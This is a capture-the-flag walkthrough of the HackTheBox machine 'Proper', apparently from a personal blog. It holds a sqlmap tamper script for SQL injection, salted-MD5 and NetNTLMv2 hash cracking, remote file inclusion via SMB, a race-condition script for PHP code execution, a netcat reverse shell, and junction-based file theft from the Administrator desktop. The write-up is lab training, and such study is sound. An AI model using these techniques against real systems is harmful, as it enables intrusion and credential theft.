Posted onEdited onInHackTheBox walkthroughViews: Word count in article: 3.3kReading time ≈12 mins.
introduce
OS: Windows Difficulty: Hard Points: 40 Release: 13 Mar 2021 IP: 10.10.10.231
information gathering
first use nmap as usaul
1 2 3 4 5
┌──(root💀kali)-[~/hackthebox/machine/proper] └─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.10.231 PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Directory/File Enumeration
Let’s see what wfuzz and SecLists has to offer.
Licenses
I wonder what this is about?
In any case, let’s keep this in view first while we check out other information.
usernames
I thought I saw some very interesting HTML IDs when I was looking at the HTML source code.
1
<div role="tabpanel" class="tab-pane fade in active"id="dustin">
Doesn’t that look like a username? Wait, there’s more…
Interestingly, if either parameter (order or h) from the above relative URL is missing, I get the following, what looks like an error message.
From the message, a salt of some kind is exposed. I wonder where does the salt fit in?
John the Ripper
Could the MD5 hash a1b30d31d344a5a4e41e8496ccbdd26b be the MD5 digest of the salt combined in some way with the value in the order parameter? To confirm I came up with the following wordlist, in combination with John the Ripper.
1 2 3
id+desc id%20desc id desc
These are the dynamic formats in JtR involving MD5.
┌──(root💀kali)-[~/hackthebox/machine/proper] └─# john --list=subformats | grep md5 Format = dynamic_0 type = dynamic_0: md5($p) (raw-md5) Format = dynamic_1 type = dynamic_1: md5($p.$s) (joomla) Format = dynamic_2 type = dynamic_2: md5(md5($p)) (e107) Format = dynamic_3 type = dynamic_3: md5(md5(md5($p))) Format = dynamic_4 type = dynamic_4: md5($s.$p) (OSC) Format = dynamic_5 type = dynamic_5: md5($s.$p.$s) Format = dynamic_6 type = dynamic_6: md5(md5($p).$s) Format = dynamic_8 type = dynamic_8: md5(md5($s).$p) Format = dynamic_9 type = dynamic_9: md5($s.md5($p)) Format = dynamic_10 type = dynamic_10: md5($s.md5($s.$p)) Format = dynamic_11 type = dynamic_11: md5($s.md5($p.$s)) Format = dynamic_12 type = dynamic_12: md5(md5($s).md5($p)) (IPB) Format = dynamic_13 type = dynamic_13: md5(md5($p).md5($s)) Format = dynamic_14 type = dynamic_14: md5($s.md5($p).$s) Format = dynamic_15 type = dynamic_15: md5($u.md5($p).$s) Format = dynamic_16 type = dynamic_16: md5(md5(md5($p).$s).$s2) Format = dynamic_18 type = dynamic_18: md5($s.Y.$p.0xF7.$s) (Post.Office MD5) Format = dynamic_19 type = dynamic_19: md5($p) (Cisco PIX) Format = dynamic_20 type = dynamic_20: md5($p.$s) (Cisco ASA) Format = dynamic_22 type = dynamic_22: md5(sha1($p)) Format = dynamic_23 type = dynamic_23: sha1(md5($p)) Format = dynamic_29 type = dynamic_29: md5(utf16($p)) Format = dynamic_34 type = dynamic_34: md5(md4($p)) Format = dynamic_39 type = dynamic_39: md5($s.pad16($p)) (net-md5) UserFormat = dynamic_1001 type = dynamic_1001: md5(md5(md5(md5($p)))) UserFormat = dynamic_1002 type = dynamic_1002: md5(md5(md5(md5(md5($p))))) UserFormat = dynamic_1003 type = dynamic_1003: md5(md5($p).md5($p)) UserFormat = dynamic_1004 type = dynamic_1004: md5(md5(md5(md5(md5(md5($p)))))) UserFormat = dynamic_1005 type = dynamic_1005: md5(md5(md5(md5(md5(md5(md5($p))))))) UserFormat = dynamic_1006 type = dynamic_1006: md5(md5(md5(md5(md5(md5(md5(md5($p)))))))) UserFormat = dynamic_1007 type = dynamic_1007: md5(md5($p).$s) (vBulletin) UserFormat = dynamic_1008 type = dynamic_1008: md5($p.$s) (RADIUS User-Password) UserFormat = dynamic_1009 type = dynamic_1009: md5($s.$p) (RADIUS Responses) UserFormat = dynamic_1010 type = dynamic_1010: md5($p null_padded_to_len_100) RAdmin v2.x MD5 UserFormat = dynamic_1011 type = dynamic_1011: md5($p.md5($s)) (webEdition CMS) UserFormat = dynamic_1012 type = dynamic_1012: md5($p.md5($s)) (webEdition CMS) UserFormat = dynamic_1013 type = dynamic_1013: md5($p.PMD5(username)) (webEdition CMS) UserFormat = dynamic_1014 type = dynamic_1014: md5($p.$s) (long salt) UserFormat = dynamic_1015 type = dynamic_1015: md5(md5($p.$u).$s) (PostgreSQL 'pass the hash') UserFormat = dynamic_1016 type = dynamic_1016: md5($p.$s) (long salt) UserFormat = dynamic_1017 type = dynamic_1017: md5($s.$p) (long salt) UserFormat = dynamic_1018 type = dynamic_1018: md5(sha1(sha1($p))) UserFormat = dynamic_1019 type = dynamic_1019: md5(sha1(sha1(md5($p)))) UserFormat = dynamic_1020 type = dynamic_1020: md5(sha1(md5($p))) UserFormat = dynamic_1021 type = dynamic_1021: md5(sha1(md5(sha1($p)))) UserFormat = dynamic_1022 type = dynamic_1022: md5(sha1(md5(sha1(md5($p))))) UserFormat = dynamic_1024 type = dynamic_1024: sha1(md5($p)) (hash truncated to length 32) UserFormat = dynamic_1025 type = dynamic_1025: sha1(md5(md5($p))) (hash truncated to length 32) UserFormat = dynamic_1034 type = dynamic_1034: md5($p.$u) (PostgreSQL MD5) UserFormat = dynamic_1300 type = dynamic_1300: md5(md5_raw($p)) UserFormat = dynamic_1350 type = dynamic_1350: md5(md5($s.$p):$s) UserFormat = dynamic_1401 type = dynamic_1401: md5($u.\nskyper\n.$p) (Skype MD5) UserFormat = dynamic_1505 type = dynamic_1505: md5($p.$s.md5($p.$s)) UserFormat = dynamic_1506 type = dynamic_1506: md5($u.:XDB:.$p) (Oracle 12c "H"hash) UserFormat = dynamic_1518 type = dynamic_1518: md5(sha1($p).md5($p).sha1($p)) UserFormat = dynamic_1550 type = dynamic_1550: md5($u.:mongo:.$p) (MONGODB-CR system hash) UserFormat = dynamic_1551 type = dynamic_1551: md5($s.$u.(md5($u.:mongo:.$p)) (MONGODB-CR network hash) UserFormat = dynamic_1552 type = dynamic_1552: md5($s.$u.(md5($u.:mongo:.$p)) (MONGODB-CR network hash) UserFormat = dynamic_1560 type = dynamic_1560: md5($s.$p.$s2) (SocialEngine) UserFormat = dynamic_2000 type = dynamic_2000: md5($p) (PW > 55 bytes) UserFormat = dynamic_2001 type = dynamic_2001: md5($p.$s) (joomla) (PW > 23 bytes) UserFormat = dynamic_2002 type = dynamic_2002: md5(md5($p)) (e107) (PW > 55 bytes) UserFormat = dynamic_2003 type = dynamic_2003: md5(md5(md5($p))) (PW > 55 bytes) UserFormat = dynamic_2004 type = dynamic_2004: md5($s.$p) (OSC) (PW > 31 bytes) UserFormat = dynamic_2005 type = dynamic_2005: md5($s.$p.$s) (PW > 31 bytes) UserFormat = dynamic_2006 type = dynamic_2006: md5(md5($p).$s) (PW > 55 bytes) UserFormat = dynamic_2008 type = dynamic_2008: md5(md5($s).$p) (PW > 23 bytes) UserFormat = dynamic_2009 type = dynamic_2009: md5($s.md5($p)) (salt > 23 bytes) UserFormat = dynamic_2010 type = dynamic_2010: md5($s.md5($s.$p)) (PW > 32 or salt > 23 bytes) UserFormat = dynamic_2011 type = dynamic_2011: md5($s.md5($p.$s)) (PW > 32 or salt > 23 bytes) UserFormat = dynamic_2014 type = dynamic_2014: md5($s.md5($p).$s) (PW > 55 or salt > 11 bytes)
For a start, I’m going with the dynamic format dynamic_1 (md5($p.$s)) and dynamic_4 (md5($s.$p)). The only difference is that the salt $s is appended for one, and prepended for the other.
The hash must be made available to JtR in the following format: $
hash
1
a1b30d31d344a5a4e41e8496ccbdd26b$hie0shah6ooNoim
1 2 3 4 5 6 7 8 9 10 11
┌──(root💀kali)-[~/hackthebox/machine/proper] └─# john -w:subformats --format=dynamic_4 hash Using default input encoding: UTF-8 Loaded 1 password hash (dynamic_4 [md5($s.$p) (OSC) 256/256 AVX2 8x3]) Warning: no OpenMP support for this hashtype, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 3 candidates left, minimum 48 needed for performance. id desc (?) 1g 0:00:00:00 DONE (2021-05-08 05:27) 100.0g/s 300.0p/s 300.0c/s 300.0C/s id+desc..id desc Use the "--show --format=dynamic_4" options to display all of the cracked passwords reliably Session completed
So, the salt is prepended to the value in the order parameter. I see now…
Database Enumeration with sqlmap
To that end, I wrote the following sqlmap tamper script to enumerate the database.
proper.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#!/usr/bin/env python import os import string from hashlib import md5 from urllib.parse import quote_plus from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs): ''' Custom tamper script for Proper '''
salt = b"hie0shah6ooNoim" h = md5(salt + payload.encode()).hexdigest() retVal = "%s&h=%s" % (quote_plus(payload), h)
return retVal
Because I’m tampering the payload and injecting it onto another parameter, I need to use –skip-urlencode switch when detecting the injection technique like so.
It appears that the theme parameter is trying to read header.inc. I wrote the following shell script to facilitate testing of the theme parameter and the generation of the hash value in h, driven solely by curl.
Looks like the theme parameter may be susceptible to remote file inclusion (RFI) vulnerability. Suppose we set up a Python http.server. Let’s see what gives.
Ah, the http:// wrapper is disabled! Let’s try SMB, shall we?
Heck, we have PROPER\web authenticating to us with a NetNTLMv2 hash, which can be easily cracked with JtR shown below.
1 2 3 4 5 6 7 8 9 10
┌──(root💀kali)-[~/hackthebox/machine/proper] └─# john -w:/usr/share/wordlists/rockyou.txt ntlmv2 Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status charlotte123! (web) 1g 0:00:00:00 DONE (2021-05-08 02:51) 1.470g/s 1457Kp/s 1457Kc/s 1457KC/s chibii..chaqueto Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed
Now, we can set up smbserver.py with credentials and an empty header.inc to simulate an actual SMB share.
If you look at the debug messages in green above, you’ll notice the race condition vulnerability between strpos and include. Suppose we can modify header.inc in real time, we may be able to get include to execute our PHP code.
To that end, I wrote the following shell script to modify header.inc in real time.
race.sh
1 2 3 4 5 6 7
#!/bin/bash PAYLOAD=$1
while :; do echo hello world > header.inc echo"$PAYLOAD" > header.inc done
Foothold
Once we have the ability to execute PHP code remotely, we can devise a way to get a reverse shell. I’m going with transfering nc64.exe over to one of the world-writable folders in Windows and run a reverse shell back to me like so.
┌──(root💀kali)-[~] └─# nc -lvp 1234 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 10.10.10.231. Ncat: Connection from 10.10.10.231:49751. Microsoft Windows [Version 10.0.17763.1728] (c) 2018 Microsoft Corporation. All rights reserved.
C:\inetpub\wwwroot\licenses>cd \users\web\desktop cd \users\web\desktop
C:\Users\web\Desktop>type user.txt type user.txt 3344dc2e5316dd94b0547eb967a1a1ea
Privilege Escalation
During enumeration of web’s account, I notice the presence of Cleanup folder in C:\Program Files and in it, three files.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
C:\Program Files\Cleanup>dir dir Volume in drive C has no label. Volume Serial Number is FE0C-A36B
Directory of C:\Program Files\Cleanup
11/15/2020 05:05 AM <DIR> . 11/15/2020 05:05 AM <DIR> .. 11/15/2020 05:03 AM 2,999,808 client.exe 11/15/2020 10:22 AM 174 README.md 11/15/2020 06:20 AM 3,041,792 server.exe 3 File(s) 6,041,774 bytes 2 Dir(s) 7,343,374,336 bytes free
There’s also a Cleanup folder in C:\ProgramData with no files in it.
Reversing client.exe and server.exe
Turns out both binaries are PE executables built with Golang, with the tell- tale sign of an unusually large size for a PE executable and this.
Analysis of client.exe
Reverse engineering of client.exe shows the need to supply an argument in order to “make it do something”.
You can see from above that by supplying a -R and a file path triggers the main_serviceRestore function which in turn calls upon a named pipe client to connect to a named pipe, cleanupPipe.
Further down the control flow graph, this is what’s actually sent across the named pipe.
Analysis of server.exe
Suppose we replicate the behaviors of client.exe and server.exe in a Windows 10 installation. This is what we have determined above.
This is what’s displayed in server.exe.
Hmm, where have I seen C:\ProgramData\Cleanup before? By the way, dGVzdA== is the base64-encoded string of test. On top of that, this is evidence that a named pipe, cleanupPipe is listening for data.
We can send our own data to server.exe with good ol’ command prompt using the echo command like so.
Meanwhile in server.exe, I see this…
Something’s not right. One character is truncated. In any case, all I have to do is to add one more character behind the path. Well, this is what happened. CLEAN removes the file specified in the file path and move it to C:\ProgramData\Cleanup<base64-encoded file path> and its content encrypted with AES-GCM.
Conversely, RESTORE restores the file back to the original file path by decrypting the file contents and decoding the file path.
Getting root.txt
This gives me an idea. What if we create a symbolic link to C:\Users \Administrator\Desktop, do a CLEAN on that symbolic link + root.txt. This will back up the file at C:\ProgramData\Cleanup. Remove the link and create a real folder and then do a RESTORE. Maybe RESTORE will do us a favor and write the contents of root.txt to that folder and we can simply read the file?
Create directory junction
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
C:\Users\web\Downloads>mklink /j dipshit \users\administrator\desktop mklink /j dipshit \users\administrator\desktop Junction created for dipshit <<===>> \users\administrator\desktop
C:\Users\web\Downloads>dir dir Volume in drive C has no label. Volume Serial Number is FE0C-A36B
Directory of C:\Users\web\Downloads
05/08/2021 02:52 AM <DIR> . 05/08/2021 02:52 AM <DIR> .. 05/08/2021 02:52 AM <JUNCTION> dipshit [C:\users\administrator\desktop] 0 File(s) 0 bytes 3 Dir(s) 7,342,006,272 bytes free
C:\Users\web\Downloads>type dipshit\root.txt type dipshit\root.txt a8393e214a40d2e28d5eff5504022ca1
Afterthought
One of the creators of Proper told me that privilege escalation is possible from an arbitrary file write. Indeed, WerTrigger is one such local privilege escalation exploit weaponizing arbitrary file writes using Windows problem reporting framework among others such as UsoDLLLoader and DiagHub.
And there you have it.
Summary of knowledge
John crack with salt
self write sqlmap tamper script to get data
Remote File Inclusion via SMB share
Race Condition to get code excecution
john crack netntlmv2 hash
Privilege Escalation via reversing .exe file
use WerTrigger for arbitrary file write using Windows problem reporting framework among others such as UsoDLLLoader and DiagHub.
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…